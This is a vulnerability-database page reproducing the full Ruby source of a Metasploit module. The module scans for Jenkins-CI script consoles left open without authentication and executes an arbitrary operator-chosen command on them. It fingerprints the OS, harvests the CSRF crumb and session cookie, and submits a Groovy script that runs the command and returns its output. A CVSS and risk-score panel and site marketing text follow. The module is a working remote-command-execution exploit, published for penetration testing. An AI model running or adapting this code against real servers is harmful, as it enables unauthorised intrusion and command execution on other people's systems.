Lucene search
K

Jenkins-CI Unauthenticated Script-Console Scanner

🗓️ 02 Sep 2015 20:12:05Reported by altonjx, Jeffrey CapType 
metasploit
 metasploit
🔗 www.rapid7.com👁 53 Views

This module scans for unauthenticated Jenkins-CI script consoles and executes the specified command

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'cgi'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Jenkins-CI Unauthenticated Script-Console Scanner',
      'Description' => %q{
        This module scans for unauthenticated Jenkins-CI script consoles and
        executes the specified command.
      },
      'Author'      =>
        [
          'altonjx',
          'Jeffrey Cap'
        ],
      'References'  =>
        [
          ['CVE', '2015-8103'], # see link and validate, https://highon.coffee/blog/jenkins-api-unauthenticated-rce-exploit/ states this is another issue
          ['URL', 'https://www.jenkins.io/security/advisory/2015-11-11/'],
          ['URL', 'https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password/'],
          ['URL', 'https://www.jenkins.io/doc/book/managing/script-console/'],
        ],
      'License'     => MSF_LICENSE
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]),
        OptString.new('COMMAND', [ true, 'Command to run in application', 'whoami' ]),
      ])
  end

  def fingerprint_os(ip)
    res = send_request_cgi({'uri' => normalize_uri(target_uri.path,"systemInfo")})

    # Verify that we received a proper systemInfo response
    unless res && res.body.to_s.length > 0
      vprint_error("#{peer} - The server did not reply to our systemInfo request")
      return
    end

    unless res.body.index("System Properties") &&
           res.body.index("Environment Variables")
      if res.body.index('Remember me on this computer')
        vprint_error("#{peer} This Jenkins-CI system requires authentication")
      else
        vprint_error("#{peer} This system is not running Jenkins-CI at #{datastore['TARGETURI']}")
      end
      return
    end

    host_info = {}
    if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
      print_status("#{peer} Using CSRF token: '#{$1}'")
      host_info[:crumb] = $1

      sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
      host_info[:cookie] = "#{sessionid}"
    end

    os_info = pattern_extract(/os.name(.*?)os.version/m, res.body).first
    host_info[:prefix] = os_info.index(">Windows") ? "cmd.exe /c " : ""
    host_info
  end

  def run_host(ip)
    command = datastore['COMMAND'].gsub("\\", "\\\\\\")

    host_info = fingerprint_os(ip)
    return if host_info.nil?
    prefix = host_info[:prefix]

    request_parameters = {
      'uri'       => normalize_uri(target_uri.path,"script"),
      'method'    => 'POST',
      'ctype'     => 'application/x-www-form-urlencoded',
      'vars_post' =>
        {
          'script' => "def sout = new StringBuffer(), serr = new StringBuffer()\r\ndef proc = '#{prefix} #{command}'.execute()\r\nproc.consumeProcessOutput(sout, serr)\r\nproc.waitForOrKill(1000)\r\nprintln \"out> $sout err> $serr\"\r\n",
          'Submit' => 'Run'
        }
    }
    request_parameters['cookie'] = host_info[:cookie] unless host_info[:cookie].nil?
    request_parameters['vars_post']['.crumb'] = host_info[:crumb] unless host_info[:crumb].nil?
    res = send_request_cgi(request_parameters)

    unless res && res.body.to_s.length > 0
      vprint_error("#{peer} No response received from the server.")
      return
    end

    plugin_output, command_output = pattern_extract(/<pre>(.*?)<\/pre>/m, res.body.to_s)

    if plugin_output !~ /Jenkins\.instance\.pluginManager\.plugins/
      vprint_error("#{peer} The server returned an invalid response.")
      return
    end

    # The output is double-HTML encoded
    output = CGI.unescapeHTML(CGI.unescapeHTML(command_output.to_s)).
             gsub(/\s*(out|err)>\s*/m, '').
             strip

    if output =~ /^java\.[a-zA-Z\.]+\:\s*([^\n]+)\n/
      output = $1
      print_good("#{peer} The server is vulnerable, but the command failed: #{output}")
    else
      output.split("\n").each do |line|
        print_good("#{peer} #{line.strip}")
      end
    end

    report_vulnerable(output)

  end

  def pattern_extract(pattern, buffer)
    buffer.to_s.scan(pattern).map{ |m| m.first }
  end

  def report_vulnerable(result)
    report_vuln(
      :host   => rhost,
      :port   => rport,
      :proto  => 'tcp',
      :sname  => ssl ? 'https' : 'http',
      :name   => self.name,
      :info   => result,
      :refs   => self.references,
      :exploited_at => Time.now.utc
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Feb 2022 23:22Current
7.2High risk
Vulners AI Score7.2
CVSS 27.5
CVSS 3.19.8
EPSS0.86829
53